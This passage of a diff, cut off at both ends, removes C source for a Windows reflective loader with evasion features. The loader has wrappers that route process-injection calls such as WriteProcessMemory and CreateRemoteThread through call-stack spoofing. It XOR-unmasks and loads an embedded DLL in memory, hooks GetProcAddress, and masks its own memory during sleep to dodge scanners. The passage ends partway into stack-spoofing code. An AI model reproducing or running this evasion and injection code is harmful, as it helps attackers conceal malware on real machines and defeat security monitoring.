call.args [ 8 ] = spoof_arg ( lpStartupInfo );
|
||||
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 3 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 4 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 1 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 2 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 3 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 5 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( rclsid );
|
||||
call.args [ 1 ] = spoof_arg ( pUnkOuter );
|
||||
call.args [ 2 ] = spoof_arg ( dwClsContext );
|
||||
call.args [ 3 ] = spoof_arg ( riid );
|
||||
call.args [ 4 ] = spoof_arg ( ppv );
|
||||
|
||||
return ( HRESULT ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( hSourceHandle );
|
||||
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
|
||||
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
|
||||
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 5 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 6 ] = spoof_arg ( dwOptions );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
|
||||
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
|
||||
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
|
||||
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwProcessId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread ( HANDLE hThread )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 4 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 2 ] = spoof_arg ( dwLength );
|
||||
|
||||
return ( SIZE_T ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
@@ -1,146 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
void * section_dst = NULL;
|
||||
DWORD section_size = 0;
|
||||
DWORD new_protect = 0;
|
||||
DWORD old_protect = 0;
|
||||
|
||||
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
section_dst = dst + section_hdr->VirtualAddress;
|
||||
section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
region->Sections[ i ].BaseAddress = section_dst;
|
||||
region->Sections[ i ].Size = section_size;
|
||||
region->Sections[ i ].CurrentProtect = new_protect;
|
||||
region->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go ( )
|
||||
{
|
||||
/* populate funcs */
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* load the pico */
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
|
||||
memory.Pico.Size = sizeof ( PICO );
|
||||
|
||||
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
|
||||
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
|
||||
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
|
||||
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
|
||||
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
|
||||
|
||||
/* load dll into memory and unmask it */
|
||||
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
for ( int i = 0; i < masked_dll->len; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
/* track dll's memory */
|
||||
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
|
||||
memory.Dll.Size = SizeOfDLL ( &dll_data );
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
@@ -1,72 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
|
||||
char xorkey [ 128 ] = { 1 };
|
||||
|
||||
void apply_mask ( char * data, DWORD len )
|
||||
{
|
||||
for ( DWORD i = 0; i < len; i++ )
|
||||
{
|
||||
data [ i ] ^= xorkey [ i % 128 ];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL is_writeable ( DWORD protection )
|
||||
{
|
||||
if ( protection == PAGE_EXECUTE_READWRITE ||
|
||||
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||
protection == PAGE_READWRITE ||
|
||||
protection == PAGE_WRITECOPY )
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xor_section ( MEMORY_SECTION * section, BOOL mask )
|
||||
{
|
||||
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
|
||||
if ( is_writeable ( section->CurrentProtect ) )
|
||||
{
|
||||
apply_mask ( section->BaseAddress, section->Size );
|
||||
}
|
||||
|
||||
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xor_region ( MEMORY_REGION * region, BOOL mask )
|
||||
{
|
||||
for ( int i = 0; i < 20; i++ )
|
||||
{
|
||||
xor_section ( ®ion->Sections [ i ], mask );
|
||||
}
|
||||
}
|
||||
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
|
||||
{
|
||||
xor_region ( &memory->Dll, mask );
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
|
||||
@@ -1,17 +0,0 @@
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ 20 ];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION Pico;
|
||||
MEMORY_REGION Dll;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -1,93 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "mask.h"
|
||||
#include "spoof.h"
|
||||
#include "cleanup.h"
|
||||
#include "tcg.h"
|
||||
|
||||
MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
/* lpProcName may be an ordinal */
|
||||
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
|
||||
{
|
||||
/* just resolve normally */
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
|
||||
|
||||
/*
|
||||
* result may still be NULL if
|
||||
* it wasn't hooked in the spec
|
||||
*/
|
||||
if ( result != NULL ) {
|
||||
return result;
|
||||
}
|
||||
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
void setup_hooks ( IMPORTFUNCS * funcs )
|
||||
{
|
||||
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
|
||||
}
|
||||
|
||||
void setup_memory ( MEMORY_LAYOUT * layout )
|
||||
{
|
||||
if ( layout != NULL ) {
|
||||
g_memory = * layout;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* throw these hooks in here because
|
||||
* sharing a global across multiple
|
||||
* modules is still a bit of a headache
|
||||
*/
|
||||
|
||||
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
*/
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, TRUE );
|
||||
}
|
||||
|
||||
spoof_call ( &call );
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, FALSE );
|
||||
}
|
||||
}
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
/* patch function pointers in */
|
||||
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = get_module_handle ( mod_name );
|
||||
return get_proc_address ( module, func_name );
|
||||
}
|
||||
@@ -1,378 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
